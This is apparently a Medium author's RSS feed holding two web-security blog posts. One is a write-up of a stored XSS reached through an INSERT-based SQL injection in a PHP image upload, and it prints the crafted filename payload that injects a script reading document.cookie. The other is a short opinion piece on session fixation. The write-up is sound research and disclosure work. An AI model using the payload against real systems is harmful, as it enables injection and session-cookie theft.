<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by iohex on Medium]]></title>
        <description><![CDATA[Stories by iohex on Medium]]></description>
        <link>https://medium.com/@iohex?source=rss-960ef6ec1cd5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VUqihuCf_IcDjRA9</url>
            <title>Stories by iohex on Medium</title>
            <link>https://medium.com/@iohex?source=rss-960ef6ec1cd5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 00:16:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iohex/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Stored XSS by a SQL Injection]]></title>
            <link>https://medium.com/@iohex/a-stored-xss-by-a-sql-injection-ccb46f542647?source=rss-960ef6ec1cd5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccb46f542647</guid>
            <dc:creator><![CDATA[iohex]]></dc:creator>
            <pubDate>Sun, 19 Jun 2022 11:04:59 GMT</pubDate>
            <atom:updated>2022-06-19T11:21:16.634Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2c2JDYjmGmVXTMHxHNYZA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@draufsicht?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Andreas Gücklhorn</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>I found a stored XSS in an application written by PHP.</p><p>This is a function that we can upload an image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAUOjv2l3MCJfkMLJ0y0tw.jpeg" /></figure><p>In the source code, every input has been sanitized except the file name, because the system will create a random file name for the image.</p><p>The code is like the following(I have hidden the detail of this APP):</p><pre>$title = input_with_sanitize(&#39;title&#39;);<br>$caption = input_with_sanitize(&#39;caption&#39;);<br>$keywords = input_with_sanitize(&#39;keywords&#39;);<br>$picture_name = input(&#39;name&#39;);</pre><p>However, you can see that there is a choice: Use file name as title , if you set this choice, the file name will overwrite the title after the sanitization process!</p><p>So we can bypass the sanitization and input an XSS payload in the title field.</p><p>But there are many limitations in this field, if we can input the XSS payload into the `keywords` field, it will be more dangerous.</p><p>Luckily, in the field of title, we both bypass the XSS and the SQL injection check. This means that we can use an insert SQL injection.</p><pre>INSERT INTO picutres <br>(aid, filepath, filename, filesize, total_filesize, pwidth, pheight, ctime, owner_id, title, caption, keywords) <br>VALUES <br>(&#39;2&#39;, &#39;userpics/10001/2/&#39;, &#39;random_name_2.jpg&#39;, &#39;315916&#39;, &#39;343120&#39;, &#39;1536&#39;, &#39;2048&#39;, &#39;1654929747&#39;, &#39;1&#39;, &#39;aaa&#39;, &#39;aaaaa&#39;,CONCAT(0x22,&#39;&gt;&lt;svg&#39;,0x2F,&#39;onload=&#39;,0x27,&#39;alert(document.cookie);&#39;,0x27,0x2F,&#39;&gt;&#39;))</pre><p>As you can see the keywords filed is behind the title, so we can use the insert SQL injection to write a payload for the keywords and bypass the sanitization:</p><pre>filename=&quot;aaa&#39;, &#39;aaaaa&#39;,CONCAT(0x22,&#39;&gt;&lt;svg&#39;,0x2F,&#39;onload=&#39;,0x27,&#39;alert(document.cookie);&#39;,0x27,0x2F,&#39;&gt;&#39;)<br>);#aqzz.jpg&quot;</pre><ul><li>Conclusion:</li></ul><p>This payload can inject from the `filename` field without sanitization, and if we choose `Use file name as title`, the payload will overwrite the `title` field after `title` is sanitized. Then the payload triggers a SQL injection and inserts an XSS payload into the `keyword` field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/90/1*85S4lxumzodrHLUrtIsXSw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccb46f542647" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session Fixation]]></title>
            <link>https://medium.com/@iohex/session-fixation-20681d4ebf9e?source=rss-960ef6ec1cd5------2</link>
            <guid isPermaLink="false">https://medium.com/p/20681d4ebf9e</guid>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[iohex]]></dc:creator>
            <pubDate>Tue, 01 Mar 2022 11:47:56 GMT</pubDate>
            <atom:updated>2022-03-01T11:47:56.346Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://hackerone.com/reports/1486341">Acronis disclosed on HackerOne: Session Fixation on Acronis</a></p><p>Today I saw this case which I think it’s not a right session fixation vulnerability.</p><p>I think the vulnerabilities about the website have mainly three classes:</p><ol><li>Improper validation input: injection vulnerabilities like XSS, SQLi, etc.</li><li>Improper authentication and authorization: business logic vulnerabilities, to bypass authentication or authorization as the erroneous implementation of these functions.</li><li>Improper session management: session management vulnerabilities. These kinds of vulnerabilities are about session security, including session fixation, session hijacking, clickjacking, and so on.</li></ol><p>In the past, I was very confused that somebody tell me CSRF is a kind of business logic vulnerability. But now I am not sure as I see it as a kind of session management vulnerability.</p><p>For the session fixation, the main idea of this vulnerability is the session is always useful even the user has loginned out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20681d4ebf9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>